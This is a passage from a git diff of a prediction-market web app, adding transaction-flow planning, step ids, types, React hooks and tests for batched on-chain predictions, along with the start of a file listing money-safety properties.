trade wallet", + canSkip: (ctx, snap) => landedOrPending(deps, ctx, snap, (landed) => isTx(landed, depositStepTx(ctx, snap))), + build: depositStepTx, + }); + } + + const batches = batched(snapshot.options, snapshot.optionsPerBatch); + + steps.push( + ...batches.map((options, index): Step => { + const optionIds = new Set(options.map((option) => option.childMarket)); + const id = STEP_ID.predict(index + 1); + + const spends = index === 0 && snapshot.creditsToSpend > 0n; + return { + id, + label: + batches.length === 1 ? "Making your prediction" : `Making your prediction, ${index + 1} of ${batches.length}`, + ...(index === 0 + ? { + canSkip: (ctx: PredictCtx, snap: Readonly) => + landedOrPending(deps, ctx, snap, (landed) => isFirstBatch(landed, ctx, snap)), + } + : {}), + // Only the first batch splits collateral: it hands every option its underlying at once. + build: async (ctx, snap) => + batchTx( + ctx.executor, + await predictCalls({ + ctx, + stepId: id, + options: snap.options.filter((option) => optionIds.has(option.childMarket)), + mint: index === 0 ? snap.collateralIn : 0n, + credits: spends ? await creditsLeg(ctx, snap.creditsToSpend, snap.slippage.creditsBps, deps) : undefined, + slippageBps: snap.slippage.tradeBps, + deps, + }), + ), + }; + }), + ); + + return steps; +} + +/** + * Quotes every batch without signing, so a run no route can follow stops before it adds money. + * Each batch is priced as if the split had already handed every option its underlying. + */ +export async function assertRoutes(ctx: PredictCtx, snapshot: PredictSnapshot, deps: PredictDeps): Promise { + const quiet = { ...deps, onLeftOut: undefined }; + const { tradeBps, creditsBps } = snapshot.slippage; + const credits = + snapshot.creditsToSpend > 0n ? await creditsLeg(ctx, snapshot.creditsToSpend, creditsBps, deps) : undefined; + const batches = batched(snapshot.options, snapshot.optionsPerBatch); + let atEstimates = 0; + let moved: MovedPlans | undefined; + for (const [index, options] of batches.entries()) { + try { + await predictCalls({ + ctx, + stepId: STEP_ID.predict(index + 1), + options, + mint: snapshot.collateralIn + (index > 0 ? (credits?.minted ?? 0n) : 0n), + credits: index === 0 ? credits : undefined, + slippageBps: tradeBps, + deps: quiet, + }); + } catch (error) { + if (error instanceof PlansMovedError) moved = mergeMoved(moved, error.moved); + else if (error instanceof AtEstimatesError) atEstimates += 1; + else throw error; + } + } + if (moved) throw new PlansMovedError(moved); + if (atEstimates === batches.length) throw new AtEstimatesError(); + if (atEstimates > 0) { + throw new NoRouteError( + "No route was found for some of these estimates. Try again in a moment, or a larger amount.", + ); + } +} + +export function createPredictHooks( + deps: Pick & { + /** The options a settled batch left out, handed over once so the snapshot keeps them. */ + takeLeftOut?: (stepId: string) => Address[]; + }, +): FlowHooks { + return { + async afterStep({ ctx, snapshot, completed, receipt }) { + const left = deps.takeLeftOut?.(completed.stepId) ?? []; + if (left.length > 0) { + const before = snapshot.leftOut ?? []; + return { snapshotPatch: { leftOut: [...before, ...left.filter((market) => !before.includes(market))] } }; + } + if (completed.stepId !== STEP_ID.deposit || !snapshot.depositNative) return; + + // The adapter mints whatever the xDAI was worth, which only the deposit's own logs show. + if (receipt) + return { + snapshotPatch: { + collateralIn: collateralInto(receipt.logs, ctx) + tradeWalletShare(snapshot), + mintFinalized: true, + }, + }; + return { snapshotPatch: await depositMintPatch(deps, ctx, snapshot) }; + }, + }; +} + +/** The split an xDAI deposit that landed with no receipt read gives: what its own logs show it minted. */ +export async function depositMintPatch( + deps: Pick, + ctx: PredictCtx, + snapshot: Readonly, +): Promise> { + const minted = (await landedSince(deps, ctx, snapshot)).find((landed) => + isTx(landed, depositStepTx(ctx, snapshot)), + )?.collateralReceived; + if (minted === undefined) throw new Error("The deposit's transaction was not found on chain."); + return { collateralIn: minted + tradeWalletShare(snapshot), mintFinalized: true }; +} + +/** + * What every batch not in `settled` would trade at `snapshot`'s slippage, against what the run is held to. + * A batch after an unsettled first one is priced as if its split had landed. Other build failures are left to the run. + */ +export async function heldMoves( + ctx: PredictCtx, + snapshot: PredictSnapshot, + deps: PredictDeps, + settled: ReadonlySet, +): Promise { + const quiet = { ...deps, onLeftOut: undefined }; + const { tradeBps, creditsBps } = snapshot.slippage; + const firstPending = !settled.has(STEP_ID.predict(1)); + const credits = + firstPending && snapshot.creditsToSpend > 0n + ? await creditsLeg(ctx, snapshot.creditsToSpend, creditsBps, quiet).catch(() => undefined) + : undefined; + let moved: MovedPlans | undefined; + for (const [index, options] of batched(snapshot.options, snapshot.optionsPerBatch).entries()) { + const stepId = STEP_ID.predict(index + 1); + if (settled.has(stepId)) continue; + try { + await predictCalls({ + ctx, + stepId, + options, + mint: firstPending ? snapshot.collateralIn + (index > 0 ? (credits?.minted ?? 0n) : 0n) : 0n, + credits: index === 0 ? credits : undefined, + slippageBps: tradeBps, + deps: quiet, + }); + } catch (error) { + if (error instanceof PlansMovedError) moved = mergeMoved(moved, error.moved); + } + } + return moved; +} diff --git a/apps/web/src/features/predict/flow/stepIds.ts b/apps/web/src/features/predict/flow/stepIds.ts new file mode 100644 index 00000000..1de614f5 --- /dev/null +++ b/apps/web/src/features/predict/flow/stepIds.ts @@ -0,0 +1,7 @@ +/** The ids a predict run's steps carry, in storage and in the popup's timeline. */ +export const STEP_ID = { + createExecutor: "create-wallet", + addCredits: "add-credits", + deposit: "deposit", + predict: (batch: number) => `predict-${batch}`, +} as const; diff --git a/apps/web/src/features/predict/flow/types.ts b/apps/web/src/features/predict/flow/types.ts new file mode 100644 index 00000000..6c976950 --- /dev/null +++ b/apps/web/src/features/predict/flow/types.ts @@ -0,0 +1,222 @@ +import type { FlowTx } from "@foresight/tx-orchestrator"; +import type { Address, Hash, Hex } from "viem"; + +import type { CreditsRoute } from "@/config/contracts"; + +import type { PoolLiquidity } from "@/types/pool"; + +import type { OutcomeBalances, PreviewTrades, QuotedLegs } from "../utils/plan"; + +/** + * What a prediction is built from. Framework-free, like the rest of `flow/`: the reads and the + * quotes arrive as ports so the plan can be rebuilt on every attempt without a live client. + */ + +/** One option the visitor set an estimate on. */ +export interface PredictOption { + childMarket: Address; + /** The parent outcome token this option's pools price against. */ + underlying: Address; + upToken: Address; + downToken: Address; + invalidToken: Address; + /** The visitor's estimate, as the price of the UP token. */ + targetPriceWad: bigint; +} + +/** One option as the chain has it now. */ +export interface OptionChainState { + pools: { up: PoolLiquidity; down: PoolLiquidity }; + /** Outcome tokens the executor already holds. */ + held: OutcomeBalances; + /** The executor's balance of this option's underlying. */ + underlying: bigint; +} + +/** A transaction the run's owner sent that landed, as the chain's logs show it. */ +export interface LandedTx { + to: Address; + value: bigint; + input: Hex; + /** Collateral it moved into the trade wallet. */ + collateralReceived: bigint; +} + +/** What became of the owner's transaction with a given nonce. */ +export type SentTx = + | ({ status: "mined"; hash: Hash; success: boolean } & Pick) + /** Broadcast and not mined. */ + | { status: "pending" } + /** Used by a transaction not found from the block looked from. */ + | { status: "taken" } + /** Nothing has used the nonce yet. */ + | { status: "none" }; + +/** A transaction for the node to estimate, sent from `from`. */ +export interface GasEstimateTx { + from: Address; + to: Address; + data?: Hex; + value?: bigint; +} + +export interface PredictReader { + /** False until the owner has paid for their executor. */ + isExecutorDeployed(executor: Address): Promise; + /** The session's collateral sitting in the executor. */ + collateralBalance(executor: Address): Promise; + optionStates(args: { options: PredictOption[]; executor: Address }): Promise; + /** Foresight credits `holder` holds; none where the chain has no credits. */ + creditsBalance(holder: Address): Promise; + /** The collateral the credits manager holds, which its credits spend one for one. */ + managerCollateral(): Promise; + /** The collateral the vault mints for `assets` of its underlying now. */ + previewDeposit(assets: bigint): Promise; + /** The underlying `shares` of the collateral redeem for now. */ + vaultValue(shares: bigint): Promise; + latestBlock(): Promise; + /** The latest block's timestamp in seconds: the chain's own clock. */ + latestTimestamp(): Promise; + /** The latest block's gas limit, which no one transaction may pass. */ + blockGasLimit(): Promise; + /** The gas the node expects `tx` to use against the latest state; rejects where it would revert. */ + estimateGas(tx: GasEstimateTx): Promise; + /** + * What `owner` sent from `fromBlock` on that landed and moved the collateral or the credits + * into or out of `executor`. + */ + landedSince(args: { owner: Address; executor: Address; fromBlock: bigint }): Promise; + /** True while `owner` has a transaction broadcast and not yet mined. */ + hasPending(owner: Address): Promise; + /** The nonce `owner`'s next transaction takes, counting those broadcast and not mined. */ + nextNonce(owner: Address): Promise; + /** `owner`'s transaction with `nonce`, looked for in the blocks from `fromBlock` on. */ + sentWithNonce(args: { owner: Address; nonce: number; fromBlock: bigint }): Promise; +} + +/** Hundredths of a percent each kind of swap may pay below its quote before it reverts. */ +export interface PredictSlippage { + /** Every option's sells and buys. */ + tradeBps: number; + /** The credits manager's swap into xDAI. */ + creditsBps: number; +} + +export interface PredictSnapshot { + options: PredictOption[]; + /** What the visitor chose to add, in the token they chose. */ + deposit: bigint; + /** Paid as xDAI through the savings adapter rather than as the collateral itself. */ + depositNative: boolean; + /** + * Collateral to split at the parent, credits apart. The chosen amount for a collateral deposit; + * read back once an xDAI deposit lands, since the adapter's output is not known in advance. + */ + collateralIn: bigint; + /** Credits moved from the owner's wallet to the trade wallet before the spend. */ + creditsFromEoa: bigint; + /** Credits the first batch burns, swapping as much of the manager's collateral for the split. */ + creditsToSpend: bigint; + /** The executor's credits read from the chain as the run started, before any transfer. */ + creditsAtStart: bigint; + /** The trade-wallet collateral the visitor was shown, which the split draws on up to `collateralIn`. */ + collateralBefore: bigint; + /** The executor's collateral read from the chain as the run started, before any deposit. */ + collateralAtStart: bigint; + /** The block after the latest as the run started: the first this run's transactions can land in. */ + fromBlock: bigint; + startedAt: number; + /** As the visitor's settings had it when the run started; every rebuilt batch keeps it. */ + slippage: PredictSlippage; + /** Sized from the block gas limit as the run started, so a recovered run re-plans the same batches. */ + optionsPerBatch: number; + /** Options that settled batches left out for lack of a route; absent until one does. */ + leftOut?: Address[]; + /** The native deposit's actual minted collateral is stored in `collateralIn`. */ + mintFinalized?: true; + /** Sends the wallet was asked for and no hash is stored for, by step id, until their nonce says how they ended. */ + unanswered?: Record; + /** The send behind each step stored as submitted, by step id, for the nonce its hash took. */ + sent?: Record; +} + +/** A send the wallet was asked for, which the chain may mine under `nonce`. */ +export interface UnansweredSend { + owner: Address; + nonce: number; + /** The latest block as the send went out; the transaction can land no earlier. */ + fromBlock: bigint; + tx: FlowTx; + /** When it was stored, in ms since the epoch. */ + heldAt: number; +} + +/** What the visitor asked for; the run adds what it reads from the chain when it starts. */ +export type PredictRequest = Omit< + PredictSnapshot, + "collateralAtStart" | "creditsAtStart" | "fromBlock" | "optionsPerBatch" +>; + +/** A request with its batches sized, which is all a plan needs. */ +export type PlannedRequest = PredictRequest & Pick; + +export interface PredictCtx { + chainId: number; + owner: Address; + /** Deterministic from the owner, so it is known before the executor exists. */ + executor: Address; + factory: Address; + /** Seer's router, which splits and merges. */ + router: Address; + /** What the session's markets are denominated in. */ + collateral: Address; + parentMarket: Address; + /** Null where the chain has no savings adapter, which rules out an xDAI deposit. */ + sDaiAdapter: Address | null; + /** Null where credits cannot fund this session's collateral. */ + credits: CreditsRoute | null; +} + +/** The credits swap as quoted: what it pays, what the credits redeem for at the vault, and the floor. */ +export interface CreditsSwapPreview { + /** The credits the swap was quoted for, and the slippage its floor was taken at. */ + amount: bigint; + creditsBps: number; + /** WXDAI the quote pays the executor. */ + quoted: bigint; + /** xDAI the credits' collateral redeems for at the vault's rate. */ + vaultValue: bigint; + /** The least the swap may pay: `creditsBps` below the quote, or below one xDAI a credit where that is more. */ + floor: bigint; + /** What the pool's fee and price take against the vault rate; none when the pool pays more. */ + loss: bigint; + /** Collateral each option splits of the floor: the vault's preview less `MINT_RATE_MARGIN_BPS`. */ + minted: bigint; +} + +/** Each option's plan as the popup showed it, keyed by its lower-case child market. */ +export type ShownPlans = Readonly>; + +/** Each option's legs as quoted, keyed by its lower-case child market. */ +export type ShownQuotes = Readonly>; + +/** What a run is held to: the plans and the credits swap the visitor saw before signing. */ +export interface HeldTo { + /** Absent when recovery reviews only the pending credits swap. */ + plans?: ShownPlans; + /** Quotes the visitor confirmed at moved, which an option's quotes are held to in place of its plan's figures. */ + quotes?: ShownQuotes; + /** Absent where the popup showed no credits swap. */ + credits?: CreditsSwapPreview; +} + +/** The options whose plan changed, every option's plan as the pools give it now, and a moved credits swap. */ +export interface MovedPlans { + markets: Address[]; + plans: ShownPlans; + /** The live quotes of each option whose quotes paid less than its plan. */ + quotes?: ShownQuotes; + credits?: CreditsSwapPreview; + /** Found by re-planning at slippage the visitor changed after the run stopped. */ + bySlippage?: true; +} diff --git a/apps/web/src/features/predict/hooks/__tests__/useEstimateHydration.test.tsx b/apps/web/src/features/predict/hooks/__tests__/useEstimateHydration.test.tsx new file mode 100644 index 00000000..ddf9d1b1 --- /dev/null +++ b/apps/web/src/features/predict/hooks/__tests__/useEstimateHydration.test.tsx @@ -0,0 +1,67 @@ +import { act, renderHook } from "@testing-library/react"; +import { beforeEach, describe, expect, it } from "vitest"; + +import { addresses } from "@/testing/fixtures"; + +import { ESTIMATES_STORAGE_KEY, useEstimateStore } from "../../stores/estimateStore"; +import { useEstimateHydration } from "../useEstimateHydration"; + +const PARENT = addresses.parentMarket; +const [FIRST] = addresses.childMarkets; + +/** What another tab leaves in storage after setting one estimate. */ +const savedByOtherTab = (value: number) => + JSON.stringify({ state: { estimates: { [PARENT]: { [FIRST]: value } } }, version: 0 }); + +beforeEach(() => { + localStorage.clear(); + useEstimateStore.setState({ estimates: {} }); +}); + +describe("useEstimateHydration", () => { + it("loads what was saved once mounted", async () => { + localStorage.setItem(ESTIMATES_STORAGE_KEY, savedByOtherTab(250)); + + renderHook(() => useEstimateHydration()); + await act(async () => {}); + + expect(useEstimateStore.getState().estimates[PARENT]).toEqual({ [FIRST]: 250 }); + }); + + it("takes another tab's write instead of overwriting it later", async () => { + renderHook(() => useEstimateHydration()); + await act(async () => {}); + + localStorage.setItem(ESTIMATES_STORAGE_KEY, savedByOtherTab(300)); + await act(async () => { + window.dispatchEvent(new StorageEvent("storage", { key: ESTIMATES_STORAGE_KEY })); + }); + + expect(useEstimateStore.getState().estimates[PARENT]).toEqual({ [FIRST]: 300 }); + }); + + it("lets storage being cleared elsewhere clear this tab too", async () => { + localStorage.setItem(ESTIMATES_STORAGE_KEY, savedByOtherTab(250)); + renderHook(() => useEstimateHydration()); + await act(async () => {}); + + localStorage.clear(); + await act(async () => { + window.dispatchEvent(new StorageEvent("storage", { key: null })); + }); + + expect(useEstimateStore.getState().estimates).toEqual({}); + }); + + it("ignores writes to other keys", async () => { + renderHook(() => useEstimateHydration()); + await act(async () => {}); + + localStorage.setItem(ESTIMATES_STORAGE_KEY, savedByOtherTab(300)); + await act(async () => { + window.dispatchEvent(new StorageEvent("storage", { key: "something-else" })); + }); + + expect(useEstimateStore.getState().estimates).toEqual({}); + }); +}); diff --git a/apps/web/src/features/predict/hooks/__tests__/usePredictRun.owner.test.tsx b/apps/web/src/features/predict/hooks/__tests__/usePredictRun.owner.test.tsx new file mode 100644 index 00000000..da7d99a9 --- /dev/null +++ b/apps/web/src/features/predict/hooks/__tests__/usePredictRun.owner.test.tsx @@ -0,0 +1,164 @@ +import { act, renderHook } from "@testing-library/react"; +import { sendTransaction } from "@wagmi/core"; +import type { Address, Hash } from "viem"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +import { createRunStore } from "@/lib/flowRunStore"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; + +import { addresses, ctx, option, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictSnapshot } from "../../flow/types"; +import { predictFlowId } from "../../run/interrupted"; +import { usePredictRun, type PredictRunInput } from "../usePredictRun"; + +vi.mock("@wagmi/core", async (importOriginal) => ({ + ...(await importOriginal()), + sendTransaction: vi.fn(), +})); + +/* Gnosis, whose allow-list names the fakes' contracts; a test build otherwise defaults to the local chain. */ +vi.mock("@/config/chains", async (importOriginal) => ({ + ...(await importOriginal()), + DEFAULT_CHAIN_ID: 100, +})); + +/* The real config builds AppKit connectors from env this suite does not supply. */ +vi.mock("@/lib/web3/wagmi", () => ({ wagmiConfig: {} })); + +/* Every hash is mined. */ +vi.mock("@/lib/web3/public-client", () => { + const receipt = ({ hash }: { hash: `0x${string}` }) => + Promise.resolve({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }); + return { + publicClient: { + waitForTransactionReceipt: vi.fn(receipt), + getTransactionReceipt: vi.fn(receipt), + getTransaction: vi.fn(({ hash }: { hash: `0x${string}` }) => Promise.resolve({ hash })), + }, + }; +}); + +vi.mock("../../run/reader", async () => { + const { fakeReader, WAD: wad } = await import("../../flow/__tests__/support/fakes"); + return { createPredictReader: () => fakeReader({ deployed: true, collateral: wad }) }; +}); + +vi.mock("@/lib/swap/lens", async () => { + const { fakeCreditsQuoter, fakeQuoter } = await import("../../flow/__tests__/support/fakes"); + return { createLensQuoter: () => fakeQuoter(), createLensExactInputQuoter: () => fakeCreditsQuoter() }; +}); + +const sendMock = vi.mocked(sendTransaction); + +const SESSION_ID = "42"; +const OWNER_A = addresses.owner; +const EXECUTOR_A = addresses.executor; + +const input = (owner: Address, executor: Address): PredictRunInput => ({ + sessionId: SESSION_ID, + closesAt: null, + parentMarket: addresses.parentMarket, + collateral: addresses.collateral, + router: addresses.router, + factory: addresses.factory, + owner, + executor, + sDaiAdapter: addresses.sDaiAdapter, + credits: null, + options: () => [option(1)], + sessionOptions: () => [option(1), option(2)], + funding: () => ({ + deposit: WAD, + depositNative: false, + collateralIn: WAD, + collateralBefore: 0n, + creditsFromEoa: 0n, + creditsToSpend: 0n, + }), + slippage: () => ({ tradeBps: 100, creditsBps: 20 }), +}); + +type SendArgs = Parameters[1] & { account?: unknown; chainId?: number }; +const sent = (): SendArgs[] => sendMock.mock.calls.map((call) => call[1] as SendArgs); + +async function settle(result: { current: ReturnType }) { + await vi.waitFor(() => { + const progress = result.current.progress; + // a recovered run waits at review until the owner resumes it, as the popup's Resume does + if (progress?.stage === "review") result.current.driver?.resume(); + expect(progress?.stage === "complete" || progress?.failure !== undefined).toBe(true); + }); +} + +let nonce = 0; +beforeEach(() => { + window.localStorage.clear(); + nonce = 0; + sendMock.mockReset(); + sendMock.mockImplementation(() => Promise.resolve(`0x${(++nonce).toString(16).padStart(64, "0")}` as Hash)); +}); + +afterEach(() => { + window.localStorage.clear(); +}); + +describe("usePredictRun when the wallet changes between steps", () => { + it("binds every prompt to the run's owner and chain, even after the wallet leaves the chain mid-run", async () => { + let releaseFirst!: () => void; + sendMock.mockImplementationOnce( + () => + new Promise((resolve) => { + releaseFirst = () => resolve(`0x${(++nonce).toString(16).padStart(64, "0")}` as Hash); + }), + ); + + const { result, rerender } = renderHook((props: PredictRunInput | null) => usePredictRun(props), { + initialProps: input(OWNER_A, EXECUTOR_A) as PredictRunInput | null, + }); + act(() => result.current.driver!.start()); + await vi.waitFor(() => expect(sendMock).toHaveBeenCalledTimes(1)); + + // The caller's input goes null when the connected wallet is no longer usable here. + rerender(null); + await act(async () => releaseFirst()); + await settle(result); + + expect(sent().length).toBeGreaterThan(1); + for (const tx of sent()) { + expect(tx.account).toBe(OWNER_A); + expect(tx.chainId).toBe(DEFAULT_CHAIN_ID); + } + }); +}); + +describe("usePredictRun recovering a stored run", () => { + it("halts with nothing signed when a stored option names another token than the session's", async () => { + createRunStore().save({ + flowId: predictFlowId(SESSION_ID, OWNER_A), + adapterId: "predict-flow", + status: "paused", + reason: "rejected", + // the app's own contracts, so only the option differs + ctx: ctx({ chainId: DEFAULT_CHAIN_ID, credits: null }), + snapshot: snapshot({ + options: [{ ...option(1), downToken: "0x00000000000000000000000000000000000000ad" }], + deposit: WAD, + collateralIn: WAD, + collateralBefore: 0n, + }), + steps: [ + { stepId: STEP_ID.createExecutor, label: "Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money to your trade wallet", outcome: { status: "pending" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + const { result } = renderHook(() => usePredictRun(input(OWNER_A, EXECUTOR_A))); + + act(() => result.current.driver!.start()); + + await vi.waitFor(() => expect(result.current.progress?.failure?.reason).toBe("unknown")); + expect(sendMock).not.toHaveBeenCalled(); + }); +}); diff --git a/apps/web/src/features/predict/hooks/useEstimateHydration.ts b/apps/web/src/features/predict/hooks/useEstimateHydration.ts new file mode 100644 index 00000000..ee97c36b --- /dev/null +++ b/apps/web/src/features/predict/hooks/useEstimateHydration.ts @@ -0,0 +1,20 @@ +import { useEffect } from "react"; + +import { ESTIMATES_STORAGE_KEY, useEstimateStore } from "../stores/estimateStore"; + +/** + * Loads saved estimates once the page is on screen (see `skipHydration` on the store), and + * again whenever another tab writes them, so two tabs on one session do not overwrite each other. + */ +export function useEstimateHydration() { + useEffect(() => { + void useEstimateStore.persist.rehydrate(); + + const onStorage = (event: StorageEvent) => { + // a null key is storage being cleared elsewhere + if (event.key === ESTIMATES_STORAGE_KEY || event.key === null) void useEstimateStore.persist.rehydrate(); + }; + window.addEventListener("storage", onStorage); + return () => window.removeEventListener("storage", onStorage); + }, []); +} diff --git a/apps/web/src/features/predict/hooks/useMarketPin.ts b/apps/web/src/features/predict/hooks/useMarketPin.ts new file mode 100644 index 00000000..e11c2102 --- /dev/null +++ b/apps/web/src/features/predict/hooks/useMarketPin.ts @@ -0,0 +1,81 @@ +"use client"; + +import { useEffect, useLayoutEffect, useRef, useState } from "react"; + +interface PinSizes { + track: number; + pill: number; + chip: number; + lower: number; + upper: number; +} + +const NONE: PinSizes = { track: 0, pill: 0, chip: 0, lower: 0, upper: 0 }; + +const same = (a: PinSizes, b: PinSizes) => + a.track === b.track && a.pill === b.pill && a.chip === b.chip && a.lower === b.lower && a.upper === b.upper; + +/** + * Measures the slider track, the value pill, the market's chip and the bound labels (`[data-bound]`) + * after every render, and sets them only when one has changed. `ready` turns on a frame after the first measurement, so the pin's first placement does not animate. + * While `holdPill` is on, the pill keeps the width it had, so an open field moves nothing. + */ +export function useMarketPin({ holdPill = false }: { holdPill?: boolean } = {}) { + const track = useRef(null); + const chip = useRef(null); + const pill = useRef(null); + const holding = useRef(holdPill); + const [sizes, setSizes] = useState(NONE); + const applied = useRef(NONE); + const [ready, setReady] = useState(false); + + // a dispatch from a layout effect re-renders even when its updater returns the same state + const measure = () => { + const root = track.current; + if (!root) return; + const widthOf = (selector: string) => root.querySelector(selector)?.getBoundingClientRect().width ?? 0; + const last = applied.current; + const next: PinSizes = + root.clientWidth === 0 + ? NONE + : { + track: root.clientWidth, + pill: holding.current && last.pill > 0 ? last.pill : (pill.current?.offsetWidth ?? 0), + chip: chip.current?.offsetWidth ?? 0, + lower: widthOf('[data-bound="lower"]'), + upper: widthOf('[data-bound="upper"]'), + }; + if (same(last, next)) return; + applied.current = next; + setSizes(next); + }; + + // before the measure below, which the ResizeObserver also calls from its first render's closure + useLayoutEffect(() => { + holding.current = holdPill; + }); + // the pill's text, and so its width, follows the thumb + useLayoutEffect(measure); + + useEffect(() => { + const root = track.current; + if (!root) return; + const observer = new ResizeObserver(measure); + observer.observe(root); + // a web font arriving resizes the chip and the labels, not the track + document.fonts?.addEventListener("loadingdone", measure); + return () => { + observer.disconnect(); + document.fonts?.removeEventListener("loadingdone", measure); + }; + }, []); + + const measured = sizes.track > 0; + useEffect(() => { + if (!measured) return setReady(false); + const frame = requestAnimationFrame(() => setReady(true)); + return () => cancelAnimationFrame(frame); + }, [measured]); + + return { track, chip, pill, sizes, ready }; +} diff --git a/apps/web/src/features/predict/hooks/usePredictRun.ts b/apps/web/src/features/predict/hooks/usePredictRun.ts new file mode 100644 index 00000000..47fce470 --- /dev/null +++ b/apps/web/src/features/predict/hooks/usePredictRun.ts @@ -0,0 +1,153 @@ +"use client"; + +import { useEffect, useMemo, useRef, useSyncExternalStore } from "react"; + +import { createViemTxGateway, type FlowRunStore } from "@foresight/tx-orchestrator"; +import { getConnectorClient, sendTransaction } from "@wagmi/core"; +import type { Address } from "viem"; +import { getTransactionCount } from "viem/actions"; + +import { createLensExactInputQuoter, createLensQuoter } from "@/lib/swap/lens"; +import { publicClient } from "@/lib/web3/public-client"; +import { wagmiConfig } from "@/lib/web3/wagmi"; + +import { DEFAULT_CHAIN_ID } from "@/config/chains"; +import type { CreditsRoute } from "@/config/contracts"; + +import type { PredictCtx, PredictOption, PredictRequest, PredictSlippage } from "../flow/types"; +import { createPredictRun, type OptionTokens } from "../run/driver"; +import { predictFlowId, predictRunStore } from "../run/interrupted"; +import { tabOwnership } from "../run/ownership"; +import { createPredictReader } from "../run/reader"; +import type { PredictDriver, PredictProgress } from "../run/types"; + +export interface PredictRunInput { + sessionId: string; + /** When the session stops trading, in unix seconds; null for a session with no close. */ + closesAt: number | null; + parentMarket: Address; + collateral: Address; + /** Seer's router on this chain; without one there is nothing to split or merge with. */ + router: Address; + factory: Address; + owner: Address; + executor: Address; + /** Null where the chain cannot turn xDAI into the session's collateral. */ + sDaiAdapter: Address | null; + /** Null where credits cannot fund the session's collateral. */ + credits: CreditsRoute | null; + /** What the visitor set, already turned into target prices. */ + options: () => PredictOption[]; + /** Every option of the session with its tokens, which a stored run is checked against. */ + sessionOptions: () => readonly OptionTokens[]; + /** + * The money the popup shows, read when Predict is pressed. An xDAI deposit's collateral is read + * back once it lands; `collateralIn` is the estimate until then. + */ + funding: () => Omit; + /** The popup's slippage settings, read when Predict is pressed. */ + slippage: () => PredictSlippage; + onComplete?: () => void; +} + +export function usePredictRun(input: PredictRunInput | null): { + driver: PredictDriver | null; + progress: PredictProgress | null; +} { + /** + * The last input that was complete. A wallet leaving the chain mid-run makes the caller's + * input null; holding the previous one keeps the driver, and with it the progress of a + * transaction already on chain, rather than disposing it and losing the record. + */ + const latest = useRef(input); + if (input) latest.current = input; + + const storeRef = useRef(undefined); + const store = (storeRef.current ??= predictRunStore()); + + // Only a different session or a different owner is a different run. Everything else is read + // through the ref when the button is pressed. + const held = latest.current; + const identity = held && [held.sessionId, held.owner].join("-"); + + const driver = useMemo(() => { + if (!identity || !held) return null; + const input = held; + const flowId = predictFlowId(input.sessionId, input.owner); + + return createPredictRun({ + gateway: createViemTxGateway({ + client: publicClient, + // wagmi refuses to send when the connected account or chain differs from these. + sendTransaction: (tx) => + sendTransaction(wagmiConfig, { + account: input.owner, + chainId: DEFAULT_CHAIN_ID, + to: tx.to, + data: tx.data, + value: tx.value, + }), + }), + reader: createPredictReader({ + client: publicClient, + sessionId: input.sessionId, + collateral: input.collateral, + credits: input.credits, + walletNonce: async (owner, blockTag) => + getTransactionCount(await getConnectorClient(wagmiConfig, { account: owner, chainId: DEFAULT_CHAIN_ID }), { + address: owner, + blockTag, + }), + }), + quoter: createLensQuoter(publicClient, DEFAULT_CHAIN_ID as 100, undefined, input.closesAt), + creditsQuoter: createLensExactInputQuoter(publicClient, DEFAULT_CHAIN_ID as 100, undefined, input.closesAt), + store, + flowId, + ownership: tabOwnership(), + closesAt: input.closesAt, + ctx: (): PredictCtx => { + const now = latest.current; + if (!now) throw new Error("This session is no longer open for predictions."); + return { + chainId: DEFAULT_CHAIN_ID, + owner: now.owner, + executor: now.executor, + factory: now.factory, + router: now.router, + collateral: now.collateral, + parentMarket: now.parentMarket, + sDaiAdapter: now.sDaiAdapter, + credits: now.credits, + }; + }, + snapshot: (): PredictRequest => { + const now = latest.current; + if (!now) throw new Error("This session is no longer open for predictions."); + return { + options: now.options(), + ...now.funding(), + slippage: now.slippage(), + startedAt: Math.floor(Date.now() / 1000), + }; + }, + slippage: () => latest.current?.slippage(), + sessionOptions: () => { + const now = latest.current; + if (!now) throw new Error("This session is no longer open for predictions."); + return now.sessionOptions(); + }, + onComplete: () => latest.current?.onComplete?.(), + }); + // eslint-disable-next-line react-hooks/exhaustive-deps -- rebuilt on identity, read through the ref otherwise + }, [identity]); + + useEffect(() => () => driver?.dispose(), [driver]); + + const progress = useSyncExternalStore( + (cb) => driver?.subscribe(cb) ?? (() => {}), + () => driver?.getProgress() ?? null, + () => driver?.getProgress() ?? null, + ); + + return { driver, progress }; +} diff --git a/apps/web/src/features/predict/oracle/PROPERTIES.md b/apps/web/src/features/predict/oracle/PROPERTIES.md new file mode 100644 index 00000000..73fcf958 --- /dev/null +++ b/apps/web/src/features/predict/oracle/PROPERTIES.md @@ -0,0 +1,21 @@ +# Predict flow: money properties + +The oracle for every change to the predict flow. Tests and reviewers check code against this file, `allowlist.ts` and `tolerances.ts`; changing any of them needs Harman's approval. + +| # | Property | Checked by | +| --- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------- | +| P1 | **Cap.** Every swap leg carries Algebra `limitSqrtPrice` at the target: UP buys and UP sells at the UP target, DOWN legs at `1 - target`. After a run, each traded pool's price is not past its target by more than `PRICE_TOLERANCE_TICKS`, including when the pool has a concentrated position between the price and the target, and when another account trades between quote and execution. | calldata decode; fork tests | +| P2 | **Amounts.** The collateral split at the parent equals the funding breakdown the popup showed: exactly for sDAI; for xDAI, the minted sDAI plus the trade-wallet share, within `DUST_WEI`. Credits are spent exactly as shown: the transfer moves the wallet's credits shown and the spend burns the credits shown, each cut to the shown decimals; their swap's floor is split from xDAI at the parent and mints `previewDeposit` of it, within `DUST_WEI`. Leftover underlying in the trade wallet is reused, as the breakdown says; the credits swap's surplus over its floor stays there as WXDAI. | unit and fork tests | +| P3 | **One deposit, one credits transfer.** A run signs at most one collateral deposit, of the amount the popup showed, and at most one credits transfer to its trade wallet, of the credits shown. An xDAI deposit leaves at least `GAS_RESERVE_WEI` in the owner's wallet. | unit tests, calldata decode | +| P4 | **Owner.** Every transaction is sent from the run's owner. Every recipient (collateral `transfer`, `depositXDAI` argument, swap `recipient`) is the owner's own trade wallet. Recovery 